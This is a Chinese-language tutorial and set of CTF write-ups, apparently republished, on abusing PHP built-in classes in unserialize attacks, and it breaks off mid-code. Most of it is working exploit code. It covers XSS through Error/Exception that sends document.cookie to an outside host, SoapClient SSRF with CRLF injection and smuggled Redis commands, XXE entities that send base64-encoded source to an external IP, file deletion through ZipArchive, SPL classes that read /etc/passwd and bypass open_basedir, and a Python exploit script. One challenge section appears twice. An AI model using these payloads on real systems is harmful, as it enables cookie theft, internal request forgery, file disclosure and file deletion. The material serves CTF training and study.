php原生类利用

转载 https://www.anquanke.com/post/id/238482

遍历一下PHP的内置类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}

常遇到的几个 PHP 原生类有如下几个:

1
2
3
4
5
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement

使用 Error/Exception 内置类进行 XSS

Error 内置类

适用于php7版本
在开启报错的情况下
Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString()的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object>的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

下面演示如何使用 Error 内置类来构造 XSS。

测试代码:

1
2
3
4
<?php
$a = unserialize($_GET['test']);
echo $a;
?>

(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)

给出POC:

1
2
3
4
5
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

Exception 内置类

适用于php5、7版本
开启报错的情况下
测试代码:

1
2
3
4
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

给出POC:

1
2
3
4
5
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

[BJDCTF 2nd]xss之光

进入题目,首先通过git泄露拿到源码:

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

仅看到一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,没得跑了,就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。

由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以POC如下:

1
2
3
4
<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

得到payload如下:

1
/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fde28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

执行后,得到flag就在 cookie 中

使用 SoapClient 类进行 SSRF

SoapClient 类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call方法,当__call方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个__call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

使用 SoapClient 类进行 SSRF

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://xxx.xxx.xxx.xxx:3333/aaa', 'uri'=>'http://xxx.xxx.xxx.xxx:3333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

首先在xxx.xxx.xxx.xxx上面起个监听,然后执行上述代码,如下图所示成功触发SSRF,xxx.xxx.xxx.xxx上面收到了请求信息

但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

如下测试代码,我们在HTTP头中插入一个cookie:

1
2
3
4
5
6
7
8
<?php
$target = 'http://xxx.xxx.xxx.xxx:3333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "chrome\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:

攻击redis

1
2
3
4
5
6
7
8
9
10
<?php
$target = 'http://127.0.0.1:3333/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,如下图所示,成功插入了Redis命令:

对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://xxx.xxx.xxx.xxx:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'chrome^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,如下图所示,成功发送POST数据:

bastphp’s revenge

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

可见当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。很明显了,要利用ssrf。

但是这里并没有明显的ssrf利用点,所以我们想到利用PHP原生类SoapClient触发反序列化导致SSRF。并且,由于flag会被插入到session中,所以我们就一定需要携带一个cookie即PHPSESSID去访问它来生成这个session文件。

写出最后的POC:

1
2
3
4
5
6
7
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "chrome\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中。

然后,我们就要想办法反序列化这个对象,但这里有没有反序列化点,那么我们怎么办呢?我们在题目源码中发现了session_start();,很明显,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST);函数,传入GET:/?f=session_start、POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。

所以,我们第一次传值先注入上面POC生成的payload创建并得到我们的session:

此时,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发__call方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:

1
2
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:

1
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));

call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。

这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call方法,造成ssrf去访问flag.php。

所以我们第二次传参如下:

最后,我们第三次传参,用我们POC里面自己设置的cookie(PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4)去访问这个页面,var_dump($_SESSION); 会将 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的这个session内容输出出来,即可得到flag:

例题

bestphp’s revenge

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

可见当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。很明显了,要利用ssrf。
首先构造出session反序列化的条件:利用call_user_func()调用session_start()设置serialize_handler为php_serialize。
因为题目源码中没有可以利用的构造pop链的类,而刚好SOAP的SoapClient类可以用来创建soap数据报文,与wsdl接口进行交互的,达到ssrf的效果。

1
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

最后需要再利用第二个call_user_func激活soap类,具体实施是通过变量覆盖利用extract将$b为call_user_func,调用$a中对象,从而触发soap的网络请求。这里数组a中$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0]。

1
2
$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
url = "http://27fd9428-ccac-4c07-b6a7-8367586baea1.node3.buuoj.cn/"

payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text

data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

rs = re.findall(r'string\(26\) "(.*?)"', html)

url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html

使用 SimpleXMLElement 类进行 XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

SimpleXMLElement 类
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:


可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

[SUCTF 2018]Homework

进入题目,随便注册一个账号,登录作业平台。看到一个 calc 计算器类的代码。有两个按钮,一个用于调用 calc 类实现两位数的四则运算。另一个用于上传文件,提交代码。

calc计算机类代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。

首先,我们在vps(xxx.xxx.xxx.xxx)上构造如下evil.xml、send.xml和send.php这三个文件。

构造的xml如下

obj.xml

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.0.159.143/e.xml">
%int;
%all;
%send;
]>

e.xml

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.0.159.143/?%payl;'>">

然后进入show.php页面~~我们的参数为:

1
/show.php?module=SimpleXMLElement&args[]=http://174.0.159.143/obj.xml&args[]=2&args[]=true

第一个参数为我们obj.xml的地址,这样就能加载obj.xml,再加载e.xml,网站的源码带出。


后续……

使用 ZipArchive 类来删除文件

ZipArchive 类

PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。

下面列举几个常见的类方法:

1
2
3
4
5
6
7
8
9
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
……

我们来重点看看 ZipArchive::open 方法:

1
ZipArchive::open(string $filename, int $flags=0)

该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。

1
2
3
4
5
6
7
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。

也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。下面我们来看一道CTF题目。

梦里花开牡丹亭

可看此题:https://blog.csdn.net/jvkyvly/article/details/115052002

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

开头包含了shell.php,我们可以构造反序列化POC来读取shell.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Game{
public $username="admin";
public $password="admin";
public $choice="xxx";
public $register="admin";
public $file;
public $filename="php://filter/read=convert.base64-encode/resource=shell";
public $content="xxx";

}

class Open
{}
$game=new Game();
$game->file=new Open();
echo base64_encode(serialize($game));

执行payload读取到shell.php的源码base64编码,解密得到
shell.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}

可知我们只要使 file_get_contents(‘waf.txt’) 读取失败就可以进入 shell($content) 来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。

要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()方法。遍历一下能有删除功能函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__wakeup',
'__call',
'__callStatic',
'open'
))) {
print $class . '::' . $method . "\n";
}
}
}

找到了一个ZipArchive类,其中刚好有一个open()方法刚好符合:

1
ZipArchive::open($filename, $flags = null)

如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。

所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:

1
ZipArchive::open($filename, ZipArchive::OVERWRITE)

删除waf.txt的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Game{
public $username="admin";
public $password="admin";
public $choice="xxx";
public $register="admin";
public $file;
public $filename;
public $content;
}
class Open
{
}
$game=new Game();
$game->file=new ZipArchive();
$game->content=ZipArchive::OVERWRITE;
$game->filename="waf.txt";
echo base64_encode(serialize($game));

执行后,即可删除waf.txt。接下来就可以使用 n\l /flag 执行命令读取flag了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Game{
public $username="admin";
public $password="admin";
public $choice="xxx";
public $register="admin";
public $file;
public $filename;
public $content;


}

class Open
{
}
$game=new Game();
$game->file=new Open();
$game->content=" n\l /flag ";
$game->filename="xxx";
echo base64_encode(serialize($game));

PHP 原生文件操作类

SPL

SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决 典型问题(standard problems) 的一组接口与类的集合:

SPL 对 PHP 引擎进行了扩展,例如 ArrayAccess、Countable 和 SeekableIterator 等接口,它们用于以数组形式操作对象。同时,你还可以使用 RecursiveIterator、ArrayObejcts 等其他迭代器进行数据的迭代操作。它还内置几个的对象例如 Exceptions、SplObserver、Spltorage 以及 splautoloadregister、splclasses、iteratorapply 等的帮助函数(helper functions),用于重载对应的功能。这些工具聚合在一起就好比是把多功能的瑞士军刀,善用它们可以从质上提升 PHP 的代码效率。

因为SPL是要解决典型问题,免不了有一些处理文件的类。下面,我们简单的挑几个SPL中常用的文件处理原生类进行讲解,其他的等以后遇到了在添进来。

可遍历目录类

可遍历目录类有以下几个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

DirectoryIterator 类

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct ( string $path )
public current ( ) : DirectoryIterator
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathname ( ) : string
public getPerms ( ) : int
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isDot ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public __toString ( ) : string // 以字符串形式获取文件名
public valid ( ) : bool
}

利用 DirectoryIterator 类遍历指定目录里的文件:

如果我们这样:

1
2
3
<?php
$dir=new DirectoryIterator("/");
echo $dir;

会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名:

也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:

glob:// 协议用来查找匹配的文件路径模式

1
2
3
<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;

如果想输出全部的文件名我们还需要对$dir对象进行遍历:

1
2
3
4
5
6
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}

FilesystemIterator 类

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的使用方法与DirectoryIterator 类也是基本相同的:

1
2
3
<?php
$dir=new FilesystemIterator("/");
echo $dir;

GlobIterator 类

与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
GlobIterator extends FilesystemIterator implements SeekableIterator , Countable {
/* 方法 */
public __construct ( string $pattern , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )
public count ( ) : int
/* 继承的方法 */
public FilesystemIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )
public FilesystemIterator::current ( ) : mixed
public FilesystemIterator::getFlags ( ) : int
public FilesystemIterator::key ( ) : string
public FilesystemIterator::next ( ) : void
public FilesystemIterator::rewind ( ) : void
public FilesystemIterator::setFlags ( int $flags = ? ) : void
}

我们知道,向下面这样在单纯的使用 DirectoryIterator 类和 FilesystemIterator 类且没有配合glob://协议进行匹配的时候:

1
2
3
4
5
6
7
<?php
$dir=new DirectoryIterator("/");
echo $dir;

<?php
$dir=new FilesystemIterator("/");
echo $dir;

其构造函数创建的是一个指定目录的迭代器,当我们使用echo函数输出的时候,会触发这两个类中的 __toString() 方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的,而 GlobIterator 类便可以帮我们在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如,我们在CTF中知道flag在根目录,但是我们不知道flag文件的完整文件名,我们就可以通过类似 GlobIterator(/*flag*)

1
2
3
<?php
$dir=new GlobIterator("/*flag*");
echo $dir;

使用可遍历目录类绕过 open_basedir

使用 DirectoryIterator 类或 FilesystemIterator 类
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?whoami=glob:///* 即可列出根目录下的所有文件

使用 GlobIterator 类
由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}

可读取文件类

目前发现的可读取文件类有:

SplFileObject 类

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php

该类的构造方法可以构造一个新的文件对象用于后续的读取。

我们可以像类似下面这样去读取一个文件的一行:

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

[2021 MAR DASCTF 明御攻防赛]ez_serialize

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup() // 可以直接绕过__wakeup()方法的执行
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

}

在A类中可以动态拼接类,就像PHP动态执行函数一样。但是题目给出的A、B、C三个类但是都没有什么危险函数,应该是没有利用的点,想到应该是原生类的利用。我们可以利用上面说的那几个文件处理的原生去读文件。

1
2
3
4
5
6
7
8
9
10
11
12
首先利用DirectoryIterator或FilesystemIterator类去遍历目标的Web目录:

<?php
class A{
public $class='FilesystemIterator';
// FilesystemIterator("/var/www/html")
public $para="/var/www/html/";
public $check;
}

$poc = new A();
echo serialize($poc);

得到payload:

1
O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";s:5:"check";N;}

执行后得到一个文件夹 aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE,并在这个文件夹中找到了flag.php.

然后我们使用 SplFileObject 类读取flag.php就行了:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $class='SplFileObject';
// SplFileObject("/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php")
